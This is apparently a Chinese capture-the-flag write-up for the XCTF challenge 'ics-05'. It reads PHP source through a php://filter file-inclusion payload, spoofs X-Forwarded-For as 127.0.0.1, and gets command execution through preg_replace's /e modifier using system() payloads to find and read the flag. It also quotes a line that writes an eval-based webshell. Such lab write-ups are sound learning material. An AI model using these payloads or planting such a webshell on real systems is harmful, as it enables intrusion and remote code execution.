XCTF ics-05

a 夏天 提交于 2020-04-04 18:01:35

一.进入实验环境

  1.进入后,发现只有一处点了有反应:

  

 

   进去后啥也没有,右键查看源码,发现给了我们一个提示:page?index, 感觉应该和文件包含漏洞有关

  我们用php的伪协议   php://filter来读取目标文件内容, 构造 ?page=php://filter/read=convert.base64-encode/resource=index.php

  

 

   这是经过base64编码后的,我们要对他解码并输出,

 

   2.打开之后,我们查看关键的源码:

  通过分析源码,我们首先要伪造一个xff为    127.0.0.1   去发起请求,这里有一个 preg_replace函数。

  语法:mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

  特别说明:
  /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。

  提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

  安全威胁分析:
  通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<?
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?> 

  如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。

  更可怕的是 : fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
  执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

 

  3.我们构造payload  /index.php?pat=/123/e&rep=system('find+/+-name+"flag*"')&sub=123,注意这里吧xff设为    127.0.0.1 

 

 

 

 

   得到flag的路径后在用cat命令查看即可:

  /index.php?pat=/123/e&rep=system('cat+/var/www/html/s3chahahaDir/flag/flag.php')&sub=123

 

 

        


 

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!